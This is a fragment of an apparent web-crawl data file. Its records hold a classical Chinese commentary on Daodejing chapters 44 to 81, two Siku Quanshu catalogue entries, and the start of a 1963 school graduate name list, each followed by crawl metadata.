道不倚於形氣。故為天下之至柔。馳騁、操縱由之也。無有道之體。無為者自然之用希。及民鮮能之也。\n名與身章第四十四\n名與身孰親。身與貨孰多。得與亡孰病。是故甚愛必大費。多藏必厚亡。故知足不辱。知止不殆。可以長久。\n徇名殖貨自忘其身。貪得無已自蹈於亡。皆由不知權度其輕重也。大費、謂自耗其所有。厚亡、謂徒甚其悖出。知足知止安有此患哉。\n大成章第四十五\n大成若缺。其用不敝。大盈若沖。其用不窮。大直若屈。大巧若拙。大辯若訥。躁勝寒。靜勝熱。清靜為天下正。\n缺、虧歉意。沖、虛也。範萬物而無迹。納萬有而若虛。蓋德盛化神者然也。求伸者反折。炫長者必敗。多言者易窮。聖賢以理勝氣。以拙晦才。以默屈人。皆反身修慝之實功。躁勝寒、溫以解凍也。靜勝熱、定以除蒸也。二者陰陽之義。修道者體此以審乎寒煖燥溼之宜。動靜交養。俾未發之中已發之和。無稍差謬。而清靜之道心其亦庶幾矣。不然而小成易盈。紛紛於直與巧辯以正天下。何惑乎煩勞而無成功哉。\n天下有道章第四十六\n天下有道。卻走馬以糞。天下無道。戎馬生於郊。罪莫大於可欲。禍莫大於不知足。咎莫大於欲得。故知足。知足常足。\n糞、糞出。郊、近郊也。可欲、以功利蠱人欲得。必欲其得也。惟有道者能知足常足。無求而自得也。\n不出戶章第四十七\n不出戶。知天下。不窺牖。見天道。其出彌遠。其知彌少。是以聖人不行而知。不見而明。不為而成。\n萬物皆備。故不出戶而知天下。造化由心故。不窺牖而見天道。反是而馳騖以求周知。則見聞有窮。心思易涸。是以聖人養其本真。清明在躬。志氣如神。豈必歷九州而數名象。任智力以要近功哉。中庸言至誠之妙。曰不見而章。無為而成。即此意也。\n為學章第四十八\n為學日益。為道日損。損之又損。以至於無為。無為而無不為矣。故取天下常以無事。及其有事。不足以取天下。\n博文則日知其所未知。約禮則日去其所本。無由萬殊以歸於一本。此損之又損之道也。無為、謂渾然天理而不假強為。千變萬化皆從此出。故可以無不為。無事恭己而治。若舜禹之有天下而不與也。反是者敗。\n聖人無常心第四十九\n聖人無常心。以百姓心為心。善者。吾善之。不善者。吾亦善之。德善矣。信者。吾信之。不信者。吾亦信之。德信矣。聖人之在天下。惵惵為天下渾其心。百姓皆注其耳目。聖人皆孩之。\n無常心、猶言無成心。善之、信之。與其善而孚以誠。亦善亦信之化不善而去其偽德。指民而言。惵惵、誠切貎。渾其心使歸於誠樸。注耳目、則誠服而無他念也。孩之、以赤子育之也。\n出生入死章第五十\n出生入死。生之徒。十有三。死之徒。十有三。人之生。動之死地。亦十有三。夫何故。以其生生之厚。\n出入、指日月言。生者、氣之至而伸。死者、氣之往而寂也。乾坤無為。以日月為功。東西出入。而五行布四時成焉。徒猶類也。水之成數六。火之成數七。合為十三。日月者、水火之精。人得其真氣而不能守。故其由生而之死也。易動、對靜而言。生生之厚、秉陰陽之氣以生者厚於物也。太上將勉人以攝生之道。而先言生者不能無死如此。\n蓋聞善攝生者。路行不遇兕虎。入軍不被甲兵。兕無所投其角。虎無所措其爪。兵無所容其刃。夫何故。以其無死地。\n攝、衛養也。兕虎甲兵無道。則或罹其凶。善攝生者合陰陽之撰。通神明之德。命由我立。而何死地之有哉。\n道生之章第五十一\n道生之。德畜之。物形之。勢成之。是以萬物莫不尊道而貴德。道之尊。德之貴。夫莫之命而常自然。\n道統名德。則其真實無妄者也。生以資始言。畜以含煦言。品物咸章則有形矣。暢茂條達則勢成矣。萬物莫不由此。是以道德至為尊貴。莫之命、無命令也。此言道德之在天地者。本於自然如此。\n故道生之。德畜之。長之育之。成之熟之。養之覆之。生而不有。為而不恃。長而不宰。是謂玄德。\n此覆、解上文道生德畜之義。而極贊其至也。長、生機引而伸。育、氣化充而盛。成、器質成熟。品味熟養者。涵濡而葆其真。覆者丕冒而衛其全。不有、不恃、不宰、無心而成化。泯乎生與為宰之迹也。詳見第十章。\n天下有始章第五十二\n天下有始。以為天下母。既得其母。以知其子。既知其子。復守其母。沒身不殆。塞其兌。閉其門。終身不勤。開其兌。濟其事。終身不救。見小曰明。守柔曰強。用其光。復歸其明。無遺身殃。是謂襲常。\n天下有始。以為天下母。所謂有物渾成。先天地生者是也。神是母。炁是子。神炁相抱終身不殆。兌、金之竅門。六神出入之所。勤、勞擾也。濟其事、事事而求其濟。徒為自苦。故不救。察於幾微。則無所蔽矣。守其柔順。則無所折矣。光、性體之光明。金精是也。歸明者。收視返聽之意。道備於己。無惡於時。殃之所以免也。襲常、猶言守常也。\n介然章第五十三\n使我介然有知。行於大道。唯施是畏。\n介然、倏忽之頃。施、見諸施行。道非知之難而行之難。偶然一隙之明。何嘗非知。但驗諸實行恐窮於推施。甚言大道之不易也。\n大道甚夷。而民好徑。朝甚賖。田甚蕪。倉甚虛。服文采。帶利劍。厭飲食。財貨有餘。是謂盜夸。非道也哉。\n夷、平易也。賖、同奢。漢書。楚楚衣服戒窮賖道。夸、以夸張為道也。末俗厭。中庸之道而矜飾以為是。太上深非嘆之也。\n善建章第五十四\n善建者不拔。善抱者不脫。子孫祭祀不輟。\n建德則有不拔之基。抱一則無離道之時。是以長子孫而保世。下文乃推廣言之。\n修之於身。其德乃真。修之於家。其德乃餘。修之於鄉。其德乃長。修之於國。其德乃豐。修之於天下。其德乃普。\n厯言修己之功效如此。\n故以身觀身。以家觀家。以鄉觀鄉。以國觀國。以天下觀天下。吾何以知天下之然哉。以此。\n觀、示法也。德備於身。隨在皆可以為人觀。法此謂大道。\n含德章第五十五\n含德之厚。比於赤子。毒蟲不螫。猛獸不據。攫鳥不搏。骨弱筋柔而握固。未知牝牡之合而峻作。精之至也。終日號而嗌不嗄。和之至也。\n俊 臧回切號平聲 含德之厚、謂至人葆其真而全其形也。不螯、不知其螯也。下放此。峻、赤子、陰也。嗌、咽嗄聲。索而變也。赤子無知而神全。故其現於外者如此。含德之厚者亦然也。\n知和曰常。知常曰明。益生曰祥。心使氣曰強。物壯則老。是謂不道。不道早已。\n承上文和字之義而申言之。常、不貳不息也。益、生生生不窮。祥、善也。天道以和育物。人能知之則健。運不息故曰常。知常則洞達。陰陽同乎造化。故曰明。修身立命奪造化生殺之權。鍊氣歸神得長生不壞之道。人中之瑞。祥莫大焉。久而不朽強斯至矣。末三句又反言以明之。解見第三十章。\n知者章第五十六\n知者不言。言者不知。塞其兌。閉其門。挫其銳。解其紛。和其光。同其塵。是謂玄同。\n道非言說所能盡。多言者妄也。孔子曰。予欲無言。即是此意。塞、兌、閉門、解見五十二章。銳、志之強。紛、慮之擾。和光者謙尊而光。同塵者與世無忤。盛德之至。無不可同羣也。\n故不可得而親。不可得而疏。不可得而利。不可得而害。不可得而貴。不可得而賤。故為天下貴。\n此推言玄同之意。道足於身。其他無所加損。故為天下貴。中庸厯言素位而行。無入而不自得。與此同義。\n以正治國章第五十七\n以正治國。以奇用兵。以無事取天下。吾何以知其然哉。以此。\n此章與上章蓋一時之言。此指大道而言。所謂為天下貴者也。\n夫天下多忌諱。而民彌貧。人多利器。國家滋昏。人多伎巧。奇物滋起。法令滋彰。盜賊多有。故聖人云。我無為而民自化。我好靜而民自正。我無事而民自富。我無欲而民自樸。\n忌諱、猶言猜嫌。利器、凡才智權謀可以起爭奪者皆是也。為政以德。然後無為。居敬行簡為好靜。因民之所利而利之。為無事、有天下而不與為。無欲、蓋聖人恭己之治如此。與上文正相反也。\n其政悶悶章第五十八\n其政悶悶。其民淳淳。其政察察。其民缺缺。禍兮福所倚。福兮禍所伏。孰知其極。其無正耶。\n悶悶、渾樸意。淳淳、猶皞皞。察察、以察為明。缺缺、疏忽也。無無為。言為政者民所觀效。當愼於所施。況一人之智不能窮天下之情偽。彼禍福之倚伏。孰則能知其歸。極而持之。其惟不任智力。以無為正天下者乎。\n正復為奇。善復為妖。人之迷。其日固久。\n此承上禍福倚伏之意而申言之。復、反也。善、猶祥也。正與奇。善與妖。極而必反。乃理勢之自然。而人往往迷焉。則以無聖人之德故也。\n是以聖人方而不割。廉而不劌。直而不肆。光而不耀。\n割、截正。劌、傷也。肆、徑行。耀、炫耀也。四者之弊。人之所以迷也。聖人方而達權。廉而不戾於俗。不肆不耀。所以葆無為之德。而善世宜民也。\n治人事天章第五十九\n治人事天。莫若嗇。夫惟嗇。是謂早服。早服謂之重積德。重積德則無不克。無不克則莫知其極。莫知其極。可以有國。\n重平聲 嗇、德反於淵微。中庸所謂不顯也。服、謂人天早感其誠。重積德、克明峻德。克、能也。莫知其極、量之所函者。遠也。可以有國、治人事天之寶也。\n有國之母。可以長久。是謂深根固蒂。長生久視之道。\n凡物之根本曰母。未二句乃質言之。深根固蒂、神息與性命相依。長生久視、內元其乾坤並壽。此修道之極功。而致治之本原嗇於德者然也。\n治大國章第六十\n治大國。若烹小鮮。以道蒞天下。其鬼不神。非其鬼不神。其神不傷人。非其神不傷人。聖人亦不傷人。夫兩不相傷。故德交歸焉。\n鮮平聲 治國者和民而已。故譬之烹鮮。小鮮極言其易也。無道之國德薄而沴。重鬼或能神。以侵害於人。聖人以道莅天下。陰陽和而萬民育。各不相害。故幽明交格。德甚神也。\n大國章第六十一\n大國者下流。天下之交。天下之牝。牝常以靜勝牡。以靜為下。故大國以下小國。則取小國。小國以下大國。則取大國。或下以取。或下而取。大國不過欲兼畜人。小國不過欲入事人。夫兩者各得所欲。故大者宜為下。\n下流、水之所歸。交、比附。牝、柔服。下、下人也。以取、我取人。而取、人取我。欲、入事。人、欲人納其請也。此為恃強大以陵弱小者發。而反復推下人之功效。乃太上救時之論也。從來大國以力相服。往往不勝。不知柔可以制剛。理足以奪勢。大國權重而勢尊。可以容民畜眾。而咸欲歸焉。如下流。然第天下之所欲附。必天下之至柔者也。譬諸牝牡以靜勝動。所謂靜者。偃武修文。相安無事。以此下人。則無論國之大小。皆可相制。蓋大國欲畜小國。而小國亦不過欲售其事。人之謀兩者。各思得其所。欲則以勢相爭。必不甘為所屈。故大國宜為下也。\n道者章第六十二\n道者萬物之奧。善人之寶。不善人之所保。\n道生萬物。無所不在。故善人寶之。不善人亦賴之也。\n美言可以市。尊行可以加人。人之不善。何棄之有。故立天子。置三公 。\n承上不善人之所保而言。市、售。加人、上人也。人雖不善。然聞美言者心折。尊德行者咸欽。蓋秉彝之好不可得而泯沒。豈可棄不善而不教也哉。故天降下民作之君師。天子三公之設。皆所以化不善而使善也。\n雖有拱璧以先駟馬。不如坐進此道。古之所以貴此道者何。不曰。求以得。有罪以免耶。故為天下貴。\n坐、跪也。求以得、求而得也。拱璧先駟馬。儀至豐矣。然不如以道誘人。古人所以貴此者。以道在吾身求則得之。自新無以加乎。此也老子既恐人以不善棄人。又恐人以不善自棄。故反復推言。道貴如斯。其憂世至深遠矣。\n為無為章第六十三\n為無為。事無事。味無味。大小多少。報怨以德。\n鍊虛合道。為其無為。順應自然。事其無事。味無味之味。淡而不厭也。怨、專謂一己之私忿。無關倫紀者也。大小、多少。稱乎物不施意。不以怨報即為德。非加厚也。\n圖難於其易。為大於其細。天下難事必作於易。天下大事必作於細。\n上文成德之詣。此則為希聖者言入德之方。作、起也。書曰。思其艱以圖其易。又曰。細行不矜。意亦如此。\n是以聖人終不為大。故能成其大。夫輕諾必寡信。多易必多難。是以聖人猶難之。故終無難。\n不為大、不自以為大。猶難、愼之至也。\n其安易持第六十四\n其安易持。其未兆易謀。其脆易破。其微易散。為之於未有。治之於未亂。\n此示人以審幾之學。而下文復推廣言之。欲人以自然者恆其德也。脆、柔薄。微、細弱。未兆易謀。故為之於未有。其安易持。故治之於未亂也。\n合抱之木。生於毫末。九層之臺。起於累土。千里之行。始於足下。為者敗之。執者失之。是以聖人無為故無敗。無執故無失。\n事莫不由微至著。惟當順其自然而因應之。妄為則敗。執滯則失。聖人天理渾然故。泛應曲當也。\n民之從事。常於幾成而敗之。慎終如始。則無敗事。是以聖人欲不欲。不貴難得之貨。學不學。復眾人之所過。以輔萬物之自然。而不敢為。\n人情不欲道。而欲難得之貨。不務學。而安於過舉。所以功敗垂成。而事無終始。惟聖人賤貨而貴德。成己以成人。是以復眾人於無過。而未嘗逞其私智也。\n古之善為道章第六十五\n古之善為道者。非以明民。將以愚之。民之難治。以其智多。\n智愚、以在上者言。愚、誠樸意。道者、治民之具。然必毋以智自居而後可。古之善為道者。非以明自炫於民。將以誠樸化之。故民之難治者。以在上之智術多。而去道遠也。\n故以智治國。國之賊。不以智治國。國之福。知此兩者亦楷式。能知楷式。是謂玄德。\n賊、傷害。福、祥和。知恃智、不恃智之得失。而道之楷式在是矣。故稱玄德。\n玄德。深矣。遠矣。與物反矣。然後乃至大順。\n反、復本也。大順、郅治也。承上文言。玄德極於深遠。處乎萬物之先。以此治國乃至大順。中庸言。篤恭天下平。而稱贊其妙。至於無聲無臭而後已焉。即此義也。\n江海章第六十六\n江海所以能為百谷王者。以其善下之。故能為百谷王。是以聖人欲上民。必以言下之。欲先民。必以身後之。\n百谷、百川。善下、虛而善受也。上民、作民父母。以言下之詢于芻蕘。先民為天下。法以身後之謙退。不敢先人也。此為以力服人者發。\n是以聖人處上。而民不重。處前。而民不害。是以天下樂。推而不厭。以其不爭。故天下莫能與之爭。\n上下相制。震懾之曰重。前後相犯畏忌之曰害。推、推尊之也。\n天下皆謂章第六十七\n天下皆謂我道大。似不肖。夫惟大。故似不肖。若肖。久矣。其細也夫。\n不肖、不肖乎道德。輶如毛。毛猶有倫。故謂我為大。則猶未化乎道之迹。若求其肖。必也其無聲臭乎。\n我有三寶。保而持之。一曰慈。二曰儉。三曰不敢為天下先。夫慈故能勇。儉故能廣。不敢為天下先。故能成其大。今捨慈且勇。捨儉且廣。捨後且先。死矣。\n慈仁。則心無私曲。見義必為故能勇。守約。則敬愼不敗。推行盡利故能廣。不敢為天下先。謙尊而光也。專恃其勇。務廣而上人。則易以賈禍而亡。身捨、猶去也。\n夫慈以戰則勝。以守則固。天將救之。以慈衛之。\n衛之、之之。指民而言。申言慈之美如此。蓋不忍人之心。道之本而天之所福。戰則無敵於天下。守則眾志之成城。天將救其危而保其國。所以然者以慈之德。可以衛民生而普祥和也。三寶之中。以慈為本。惟慈然後可以體道。而不以自大為肖也。\n不武章第六十八\n善為士者。不武。善戰者。不怒。善勝敵者。不爭。善用人者。為之下。是謂不爭之德。是謂用人之力。是謂配天古之極。\n恃力曰武。恃氣曰怒。兩相攻擊曰爭。為之下、屈己下賢也。力、材也。有此四者。則不動聲色而萬物無不効其能。是謂不爭之德。用人之材亦如天之不言。而五行順布。古之立極者然也。\n用兵章第六十九\n用兵 句 有言。吾不敢為主。而為客。不敢進寸而退尺。是謂行無行。攘無臂。仍無敵。執無兵。\n此示人以用兵之道。主、禦敵。客、侵伐人者也。無行、無義之行。仍、因也。恃也。言用兵危事。如有言其好為貪兵勇往。無前者。是謂行無義之行。若攘而無臂。恃一往之氣。若執而無兵。盖先自失其用兵之具也。\n禍莫大於輕敵。輕敵則幾喪吾寶。故抗兵相加。哀者勝矣。\n喪去聲 承上文言。易談兵者輕敵。輕敵則有亡國喪身之禍。寶、謂仁義。仁義者治世之寶。輕敵則有好殺之心。故兩兵相遇強弱未分。而有哀憐無辜之心者必勝。所謂仁者無敵也。\n吾言章第七十\n吾言甚易知。甚易行。天下莫能知。莫能行。\n聖人之言皆道也。百姓日用而不知。故老子深嘆之。\n言有宗。事有君。夫惟無知。是以不我知。\n宗、主也。君、綱領也。道具於聖人之心。不得測其妙也。宣諸於言。見諸於事。不能即委窮源。安能知之。\n知我者希。則我貴矣。是以聖人被褐懷玉。\n褐、賤者之服。被褐懷玉。喻外陋而內美。此一節又推言知希之無損。以為有德而不見知者勛。蓋聖人忘名乃能遯世。不見知而不悔。其次則不免以知希為戚。故太上言此以勉人。非自謂其知希之貴也。\n知不知章第七十一\n知不知上。不知知病。夫惟病病。是以不病。\n能知人之所不知者。義精仁熟故為上。不知而自以為知。妄作聰明之大患也。夫惟患以不知為知。則能遜讓以求知。是以可免於此患。。\n聖人不病。以其病病。是以不病。\n此所謂病以憂患而言病。病憂勤、愓厲也。孟子曰。君子有終身之憂。無一朝之患。蓋述此意。\n民不畏章第七十二章\n民不畏威。大威至矣。無狹其所居。無厭其所生。夫惟不厭。是以不厭。\n威、理勢之防。難犯者皆是也。書曰。天命明威。無挾其所居。孟子所謂。居天下之廣居。厭厭數所生。所以生之理也。全其所生之理。則盡性立命。與天合德。是以不可厭絶也。\n是以聖人自知不自見。自愛不自貴。故去彼取此。\n見去聲 自知、得失自課。自見、炫耀。求知自愛守身。重道自貴。矜己尚人。去彼取此。是以能畏天命。而保真常也。\n勇於敢章第七十三\n勇於敢則殺。勇於不敢則活。此兩者。或利或害。天之所惡。孰知其故。是以聖人猶難之。\n惡去聲 勇、猶果斷。敢、不敢、以剛柔進退言。殺、害、活、成全也。事故之來往而有害靜而無失。兩者其大較也。然以為殺而未必殺。以為活而未必活。則或利或害有不盡。係乎勇於敢與不敢者。此其中有天焉。天者何理。勢之微而數之不可知也。利害定於天。而天之所惡難知其故。是以聖人酌經權而用其中。忘利鈍而守其正。不敢以為易也。\n天之道。不爭而善勝。不言而善應。不召而自來。坦然而善謀。天網恢恢。疏而不漏。\n人情有為。必欲其勝而希報。惟恐其遲。不知天道至神。遲速美惡之應毫無差忒。恢恢、疏闊也。此中上文所惡二句之意。而勉人恆其德以承天。\n民不畏死章第七十四\n民不畏死。奈何以死懼之。若使民常畏死。而為奇者。吾得執而殺之。孰敢。\n民不畏死、衰世之極矣。奈何更以刑罰懼之。若使民常有懷刑之心。則教化明而民已知所趨避。乃有為奇。邪以誘民者。從而殺之。民孰敢不畏死乎。太上此言。為末世以殺禁亂而不務本者發也。\n常有司殺者殺。夫代司殺者殺。是謂代大匠斲。夫代大匠斲者。希有不傷其手矣。\n司殺者、孟子所謂天吏也。代天理物。能好能惡。故可以殺。非其人而以殺禁民。若代斲之傷手。無益而有害。此承上文而言。欲人盡化民之道。非教之殺也。\n民之饑章第七十五\n民之饑。以其上食稅之多。是以饑。民之難治。以其上之有為。是以難治。民之輕死。\n有為、若刑名法術張皇補昌之屬皆是。民不自愛其生。以其殖貨利而徇嗜欲也。\n夫惟無以生為者。是賢於貴生。\n以生為者。營營於衣食嗜好。而惟恐傷其生。自以為貴生矣。不知多欲多累反無以葆其天。而全其性。夫惟順性命之理。以養二氣之和。無所矯揉。而賢於貴生也。\n人之生也章第七十六章\n人之生也柔弱。其死也堅強。萬物草木之生也柔脆。其死也枯槁。故堅強者死之徒。柔弱者生之徒。\n人之得氣也厚。聚則和融。散則骨立。物之得氣也薄。生則易折。死則朽敝。蓋道生於卑。退而禍生於剛狠。故太上即形質之易曉者以示人也。\n是以兵強則不勝。木強則拱。強大處下。柔弱處上。\n結言柔弱之為貴也。兵恃力而無仁智信三者。則適足以取敗。木氣不疏達而堅確。則僅於一拱。不成美材。是以凡事皆戒強大。而尚謙和也。\n天之道章第七十七\n天之道。其猶張弓乎。高者抑之。下者舉之。有餘者損之。不足者補之。\n張弓者、必欲其平天道。璇璣運而七政齊。四序布而五行代調燮。網維莫名。其妙要歸於至均而已。道祖即張弓之易見者。而譬之高下有餘。不足又復虛擬其名。以況其理也。\n天之道。損有餘而補不足。人之道。則不然。損不足以奉有餘。孰能有餘以奉天下。唯有道者。\n天道虧盈而益謙。人則不然。是以在己常欲有餘。在人常苦不足。能以有餘奉天下。是欲萬物各得其所者也。\n是以聖人為而不恃。功成而不處。其欲不見賢耶。\n見去聲 舉聖人以為承天者。法不欲見賢。不欲自著其賢也。\n天下柔弱章第七十八章\n天下柔弱莫過於水。而攻堅強者莫之能勝。其無以易之。故柔勝剛。弱勝強。天下莫不知。莫能行。\n言柔弱之道。易知而難行。以起下文也。\n是以聖人言。受國之垢。是謂社稷主。受國之不祥。是為天下王。正言若反。\n能容一國之垢。所謂百姓有過在予一人者也。能以一國之不祥為己憂。所謂一夫不獲時。予之辜者也。此皆用柔之道。反、委曲言。一言之閒。亦有柔弱之道。\n和大怨章第七十九\n和大怨。必有餘怨。安可以為善。是以聖人執左契。而不責於人。\n此言為善者。必忘人我。而貴反躬也。怨之成也。常由責人而不責己。故積小以至大。茍不知自責。則雖解大怨。必有餘怨。未能懲忿窒慾。安可以為善。契、約也。交易者一約而兩分之。執以為信。以己度人心。理無二反。己而無怨於人。聖人之宏也。\n故有德司契。無德司徹。天道無親。常與善人。\n司、主也。徹、通也。有聖人之德則稱物平施。權衡任我故司契。無其德則恩怨必求其分明。斤斤以明通為尚。天道無私。為善者其知勉矣。\n小國章第八十\n小國寡民。使有什百之器而不用。使民重死而不遠徙。雖有舟車。無所乘之。雖有甲兵。無所陳之。使民復結繩而用之。甘其食。美其服。安其居。樂其俗。鄰國相望。雞犬之聲相聞。民至老死。不相往來。\n此示小國以自強之道。而欲其返樸還淳也。器多而不用。則糜費節矣。重死而不徙。則民志堅矣。舟車所以致遠。甲兵所以禁亂。不乘、不陳。言民瞻依而誠服。無所用此耳。非謂可盡廢也。結繩而用返乎太古。是以裕大豐亨。風俗淳美而不患於民寡也。\n信言章第八十一\n信言不美。美言不信。善者不辯。辯者不善。知者不博。博者不知。\n此章勉人約德而廣業也。信、誠實無偽。美、悅人聽聞。善者、訥言敏行。辯者、易言多咎。知者、達於事理。博則馳鶩聞見以為奇而已。\n聖人不積。既以為人己愈有。既以與人己愈多。天之道。利而不害。聖人之道。為而不爭。\n為人之為去聲 積、滯於私也。聖人之心一理。渾然而泛。應曲當夫何積。為人以善及人。與人以惠。加人愈有。愈多德業。無損於己。而性量益增也。天以利萬物為心。而聖人體天之心以為心。故其無心而成化。與天同不害不爭。盡人性物性者無二也。\n續刻道德經解終\n續刻道德經解跋\n五千言世多誤解。先生重刋\n呂子註本。最為美善已。與感應篇合而存之。名曰道善約編。今吾黨復續刻於道佛經懺之後。以廣其傳。是書雖不似經懺之祈禳禍福。足供拜誦。而其理則一。觀者幸勿以不相倫類置之。\n咸豐辛酉年 虛受齋敬識","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/taolibrary.com\/category\/category86\/c86119.htm","date":"2017-03-27T08:38:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189466.30\/warc\/CC-MAIN-20170322212949-00644-ip-10-233-31-227.ec2.internal.warc.gz","language":"lzh","language_score":0.409521699,"language_script":"Hani","minhash_cluster_size":10,"top_langs":"{\"lzh_Hani_score\": 0.4095216989517212, \"cmn_Hani_score\": 0.4052880108356476, \"nan_Hani_score\": 0.07863985002040863, \"jpn_Jpan_score\": 0.04408101737499237, \"wuu_Hani_score\": 0.04160100221633911, \"yue_Hani_score\": 0.014509618282318115}","num_words":404,"character_repetition_ratio":0.003,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.41,"perplexity_score":500.0,"cluster_detection":1} +{"text":"子部四十一 雜家類存目八\n永鑑錄 二卷\n永樂大典本\n明洪武中奉敕撰。凡分六目。一曰篤親親之義。一曰失親親之義。訓朝廷也。一曰善可爲法。一曰惡可爲戒。一曰立功國家。一曰被姦陷害。訓諸王也。每條各舉古事。而以俗語演之。取其易通曉也。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0272403.html","date":"2017-04-28T12:11:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122955.76\/warc\/CC-MAIN-20170423031202-00601-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.421900481,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.4219004809856415, \"cmn_Hani_score\": 0.41749143600463867, \"jpn_Jpan_score\": 0.07179169356822968, \"yue_Hani_score\": 0.03621635586023331, \"nan_Hani_score\": 0.023314548656344414, \"wuu_Hani_score\": 0.015013817697763443}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.422,"perplexity_score":500.0,"cluster_detection":1} +{"text":"國朝張沐撰。沐有周易疏略。已著錄。其說以小序爲主。而亦時有異同。大抵調停前人之說。而參以臆斷。如平王之孫。齊侯之子。旣不用舊說。又不用春秋王姬之說。乃訓平爲等。謂唐棣本不同於桃李。而華如桃李。王之孫本不齊於侯之子。今觀其車服。則等王之孫。以齊於侯之子。以附會序中不繫其夫下王后一等之說。於經義殊爲乖刺。亦何取乎宗小序也。","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/kanji.zinbun.kyoto-u.ac.jp\/db-machine\/ShikoTeiyo\/0035302.html","date":"2017-07-24T20:41:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549424910.80\/warc\/CC-MAIN-20170724202315-20170724222315-00297.warc.gz","language":"lzh","language_score":0.4307505786,"language_script":"Hani","minhash_cluster_size":9,"top_langs":"{\"lzh_Hani_score\": 0.4307505786418915, \"cmn_Hani_score\": 0.3848627805709839, \"wuu_Hani_score\": 0.03501514717936516, \"und_Hira_score\": 0.03459423407912254, \"jpn_Jpan_score\": 0.021995089948177338, \"zxx_Latn_score\": 0.013619402423501015}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.431,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1963年\n出自成功大百科\n1963(民國52)年7月--光復後第18屆畢業生\n謝良明 林家榮 陳俊成 蔡義明 原沛霖 胡欣成 林長銘 王榮祥 黃榮輝 許吉雄 呂厚德 楊鑫鐘 郭其財 趙元榮 蘇東川 鄭偉賢 李亨峯 梁文祥 白火銓 鄭明勳 蔡坤龍 沈文杰 李呈亮 張高雄 黃明輝 葉豐文 劉浚明 張世芳 鄭鴻瑩 林景陶 施純榮 郭志戎 解業華 蔡進財 王懋林 沈森男 吳孝先 廖益宏 吳安文 林國義 張雄林 林炳旺 林漢津 葉作津 蔡再添 蔡再常 吳昭明 蔡棟國 李東峯 吳文生 陳奇森 溫漢陽 莊榮林 黃冠華 黃四山 潘益宗 買朝景 侯秀明 王裕雄 高志誠 劉仲倫 陳阿清 洪狀第 林宗輝 邱中左 曾子榮 林良聲 駱盈州 鄭孟德 林祥茂 王怡仁 陳立昌 王木金 孫廷仁 賴森泰 蔡南雄 吳宗霖 林嘉興 林東宏 鄭旭峯 張民治 楊國財 王文山 黃柏清 陳建富 王連財 黃國楨 王塗元 周泉源 林佳憲 鄒林祥 凃耕正 盧文智 毛克弘 陳文博 王博亮 吳德松 陳振文 陳麗燐 陳介仁 郭昌熾 蔡瑞川 羅仁里 林貴源 玉永楠 陳宇昌 曾義雄 蕭國川 黃英豐 李鳳忠 邱文才 高耀南 林啟淵 許倍誠 劉丁文 侯甫明 羅文華 陳衍勇 王興隆 段堯任 王臺華 吳聯熙 王鴻祥 郭訓志 洪國華 陳俊脩 尤順靈 蕭念慈 許瑞津 郭盈顯 曾文杰 李順成 劉淵忠 洪振宏 張義文 吳孟峯 歐東瑞 莊明芬 陳保祺 鄒豐名 謝作樑 高燦南 高國洲 柯炎昆 郭炳南 王茂濱 楊禎祥 吳朝銘 李安邦 周伯勳 蔡明鍾 蕭敦仁 陳達偉 張正達 吳能通 倪建文 李汝麟 沈宏祥 潘秀樑 鄭宇庭 林勵青 尤文魁 吳子禮 賴德正 林鴻程 黃凱南 鄧聖雄 曾怡禎 許時津 吳端義 石乃仁 唐健隆 林玉麟 潘偉堂 蔡榮聰 黃啟哲 楊舜欽 莊國興 董倫富 蔡炎秋 吳金虎 李仁成 林隆輝 盧肇雀 郭茂葉 方海籐 蔡安東 許明曜 徐金發 方海寶 楊觀隆 馬正光 高炎塗 林國基 張榮華 曾明星 陳梓川 洪永全 張汝彬 佃若鴻 林傳義 陳永勝 王益心 張文鴻 黃烱松 顧凱倫 陳其福 社森 歐陽復國 陳海淋 林世鴻 鄭淵全 趙木石 趙金生 黃金火 林明發 黃耀東 李茂宗 林元誾 顏中村 林哲章 程展國 吳際雲 陳致遠 黃福泰 劉峯榮 蘇文鴻 楊士達 李先榮 許文瑞 葉杰 祝成幹 許陽堂 林恩福 陳明根 張文儀 蔡振家 楊坤哲 林錫暘 何旺達 曾道義 陳由溥 陳紀瑞 江凱利 張麟祥 卓新德 楊至雄 鄭國勳 林朝昆 林忠佑 宋澤昌 翁炳堯 許達承 黃清哲 許炎明 王德興 王世仁 吳明陽 黃俊宏 許清泉 陳勝雄 宋哲雄 余博弘 羅光博 林建國 蔡惠銘 關偉石 潘東定 甘永芳 張朝棟 鄭守仁 吳錫鴻 夏良文 黃天舜 郭俊宏 嚴明聲 李恒 李宗欣 李松輝 黃本源 蘇元良 黃顯榮 江孟豪 李南石 魏淇明 杜瑞豐 高義然 李添進 柯金木 蔡壁中 蘇士珍 陳守閑 郭福祥 王俊雄 江春發 黃國欽 董啟耀 黃安輝 呂榮基 李榮錕 黃劍浩 陳成水 林士雄 林炎輝 謝武彰 林榮堯 張恨 石榮峯 王清輝 方永源 張德民 江文杰 余憲榮 王澤安 莊英輝 嚴狄虎 鄭燈村 徐富強 莊清桐 陳俊達 沈以文 黃明松 許錦德 鄭再來 林益民 侯長宏 李亞仁 王江 陳清水 葉清池 王永森 蘇國樑 鄭兆源 郭子宏 王怡然 郭文山 黃亮賓 李昭德 唐國華 卓海瑞 黃壽心 蔡金水 黃聰明 黃文鴻 陳和誠 邱國銘 周永明 林銘欣 郭敏榮 傳明煜 陳建山 李國淵 王永松 陳博德 洪偉成 劉芳坤 陳明煌 陳慶榮 孫丙丁 曹玉璋 白燿銘 陳詠璆 